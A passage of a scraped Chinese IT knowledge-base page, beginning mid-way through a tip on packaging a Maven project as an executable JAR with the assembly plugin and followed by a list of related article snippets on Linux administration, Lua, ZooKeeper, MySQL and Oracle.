在使用Maven完成项目以后,如果是需要打包成可执行的Jar文件,我们通过eclipse的导出很麻烦,还得指定入口文件的位置,还得说明依赖的jar包,既然都使用Maven了,很重要的一个目的就是让这些繁琐的操作简单。我们可以通过插件完成这项工作,使用assembly插件。具体使用方式如下: 1、在项目中加入插件的依赖: <plugin> </div> </li> <li><a href="/article/2936.htm" title="php常见错误" target="_blank">php常见错误</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>1.  kevent() reported that connect() failed (61: Connection refused) while connecting to upstream, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", upstream: "fastc</div> </li> <li><a href="/article/3063.htm" title="修改linux的用户名" target="_blank">修改linux的用户名</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/change+password/1.htm">change password</a> <div>Change Linux Username 更改Linux用户名,需要修改4个系统的文件: /etc/passwd /etc/shadow /etc/group /etc/gshadow 古老/传统的方法是使用vi去直接修改,但是这有安全隐患(具体可自己搜一下),所以后来改成使用这些命令去代替: vipw vipw -s vigr vigr -s   具体的操作顺</div> </li> <li><a href="/article/3190.htm" title="第五章 常用Lua开发库1-redis、mysql、http客户端" target="_blank">第五章 常用Lua开发库1-redis、mysql、http客户端</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/lua/1.htm">lua</a> <div>对于开发来说需要有好的生态开发库来辅助我们快速开发,而Lua中也有大多数我们需要的第三方开发库如Redis、Memcached、Mysql、Http客户端、JSON、模板引擎等。 一些常见的Lua库可以在github上搜索,https://github.com/search?utf8=%E2%9C%93&q=lua+resty。   Redis客户端 lua-resty-r</div> </li> <li><a href="/article/3317.htm" title="zkClient 监控机制实现" target="_blank">zkClient 监控机制实现</a> <span class="text-muted">liyonghui160com</span> <a class="tag" taget="_blank" href="/search/zkClient+%E7%9B%91%E6%8E%A7%E6%9C%BA%E5%88%B6%E5%AE%9E%E7%8E%B0/1.htm">zkClient 监控机制实现</a> <div>         直接使用zk的api实现业务功能比较繁琐。因为要处理session loss,session expire等异常,在发生这些异常后进行重连。又因为ZK的watcher是一次性的,如果要基于wather实现发布/订阅模式,还要自己包装一下,将一次性订阅包装成持久订阅。另外如果要使用抽象级别更高的功能,比如分布式锁,leader选举</div> </li> <li><a href="/article/3444.htm" title="在Mysql 众多表中查找一个表名或者字段名的 SQL 语句" target="_blank">在Mysql 众多表中查找一个表名或者字段名的 SQL 语句</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>在Mysql 众多表中查找一个表名或者字段名的 SQL 语句:   方法一:SELECT table_name, column_name from information_schema.columns WHERE column_name LIKE 'Name';   方法二:SELECT column_name from information_schema.colum</div> </li> <li><a href="/article/3571.htm" title="程序员对英语的依赖" target="_blank">程序员对英语的依赖</a> <span class="text-muted">Smile.zeng</span> <a class="tag" taget="_blank" href="/search/%E8%8B%B1%E8%AF%AD/1.htm">英语</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E7%8C%BF/1.htm">程序猿</a> <div>1、程序员最基本的技能,至少要能写得出代码,当我们还在为建立类的时候思考用什么单词发牢骚的时候,英语与别人的差距就直接表现出来咯。 2、程序员最起码能认识开发工具里的英语单词,不然怎么知道使用这些开发工具。 3、进阶一点,就是能读懂别人的代码,有利于我们学习人家的思路和技术。 4、写的程序至少能有一定的可读性,至少要人别人能懂吧... 以上一些问题,充分说明了英语对程序猿的重要性。骚年</div> </li> <li><a href="/article/3698.htm" title="Oracle学习笔记(8) 使用PLSQL编写触发器" target="_blank">Oracle学习笔记(8) 使用PLSQL编写触发器</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8/1.htm">活动</a><a class="tag" taget="_blank" href="/search/Access/1.htm">Access</a> <div>    时间过得真快啊,转眼就到了Oracle学习笔记的最后个章节了,通过前面七章的学习大家应该对Oracle编程有了一定了了解了吧,这东东如果一段时间不用很快就会忘记了,所以我会把自己学习过的东西做好详细的笔记,用到的时候可以随时查找,马上上手!希望这些笔记能对大家有些帮助!     这是第八章的学习笔记,学习完第七章的子程序和包之后</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>